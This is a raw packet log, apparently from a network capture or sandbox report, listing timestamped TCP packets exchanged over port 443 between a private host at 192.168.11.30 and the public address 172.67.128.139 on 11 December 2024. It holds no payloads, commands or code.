Dec 11, 2024 12:30:42.091134071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.091134071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.091134071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.091140032 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.091327906 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.135605097 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.300807953 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.300822020 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.300991058 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.301175117 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.301181078 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.301557064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.302937984 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.302952051 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.303328037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.303334951 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.303498030 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.303678036 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.303698063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.303844929 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.303850889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.303894043 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.303896904 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.304007053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.305664062 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.305677891 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.306032896 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.306032896 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.306041002 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.306415081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.307542086 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.307554960 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.307723999 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.307904959 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.307904959 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.307904959 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.307909966 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.308146000 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.309504986 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.309520006 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.309847116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.309847116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.309853077 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.310087919 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.312072992 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.312087059 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.312238932 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.312417984 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.312417984 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.312417984 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.312422991 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.312655926 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.313158989 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.313321114 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.313373089 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.313376904 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.314981937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.314995050 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.315141916 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.315148115 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.315334082 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.315334082 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.315334082 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.315334082 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.317500114 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.317536116 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.317706108 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.317887068 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.317887068 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.317893982 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.319057941 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.319072008 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.319411039 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.319411039 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.319411039 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.319411993 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.319422007 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.321213961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.321225882 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.321419001 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.321419954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.321419954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.321419954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.321425915 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.321611881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.322060108 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.322290897 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.322297096 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.322483063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.324736118 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.324747086 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.324893951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.324901104 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.325088978 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.325088978 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.325279951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.325279951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.326730013 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.326740980 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.327069998 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.327069998 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.327079058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.328377008 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.328391075 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.328731060 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.328731060 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.328737974 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.328922987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.329051018 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.329214096 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.329225063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.329408884 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.331003904 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.331016064 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.331162930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.331342936 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.331342936 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.331342936 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.331347942 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.331535101 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.332906961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.333132982 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.333317041 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.333508968 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.333514929 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.333684921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.334800959 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.334814072 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.335139990 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.335139990 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.335139990 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.335148096 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.335334063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.337213993 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.337227106 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.337625980 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.337625980 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.337625980 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.337632895 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.337820053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.339473963 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.339483023 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.339809895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.339809895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.339816093 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.340183973 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.341090918 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.341125011 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.341295004 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.341470957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.341471910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.341471910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.341479063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.341665983 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.342890978 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.342959881 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.343055964 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.343235016 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.343242884 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.343426943 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.546991110 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.547034025 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.547159910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.547337055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.547350883 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.547528028 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.547528028 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.547944069 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.548108101 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.548134089 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.548183918 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.548207045 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.548465014 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.580842018 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.580878019 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.581213951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.581213951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.581238031 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.581578970 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.582820892 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.582858086 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.582990885 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.582990885 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.583024025 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.583365917 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.584656954 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.584702015 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.585009098 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.585009098 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.585009098 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.585038900 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.585191965 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.585428953 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.586568117 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.586611986 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.586920023 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.586949110 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.587171078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.588562965 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.588604927 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.588732958 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.588915110 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.588941097 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.589107037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.590936899 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.590975046 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.591145992 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.591145992 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.591176033 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.591334105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.591334105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.591515064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.592853069 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.592890024 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.593014956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.593199015 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.593199015 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.593224049 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.593391895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.593391895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.594708920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.594744921 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.595087051 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.595087051 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.595087051 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.595117092 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.595438004 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.596736908 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.596781969 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.597496986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.597496986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.597496986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.597496986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.597496986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.597532034 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.597853899 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.598625898 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.598669052 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.598783016 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.599005938 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.599005938 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.599028111 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.599225998 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.600938082 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.600980043 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.601289988 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.601289988 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.601322889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.601670027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.602858067 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.602900982 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.603019953 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.603198051 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.603198051 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.603198051 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.603230953 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.603406906 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.603640079 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.604881048 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.604923964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.605046988 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.605233908 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.605233908 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.605233908 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.605264902 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.605496883 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.606668949 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.606887102 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.606887102 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.606924057 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.608865023 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.608899117 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.609035015 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.609064102 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.609232903 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.609232903 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.609232903 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.609232903 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.610521078 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.610562086 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.610811949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.610840082 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.612112999 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.612154007 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.612303019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.612329960 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.612503052 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.612503052 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.612503052 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.612503052 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.614765882 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.614805937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.614912987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.614940882 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.614959955 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.614959955 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.615180016 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.615371943 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.616708994 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.616736889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.617063046 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.617063046 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.617063046 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.617100954 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.618649960 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.618679047 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.618833065 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.618864059 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.619023085 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.619218111 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.619218111 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.621014118 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.621037006 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.621181011 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.621210098 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.621372938 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.621372938 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.622983932 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.623012066 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.623152971 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.623152971 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.623179913 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.623374939 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.623374939 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.623374939 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.624994040 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.625015974 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.625544071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.625566006 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.626857996 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.626887083 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.627037048 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.627062082 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.627229929 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.627229929 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.627230883 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.628683090 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.628705025 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.628849030 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.628874063 CET	443	49763	172.67.128.139	192.168.11.30
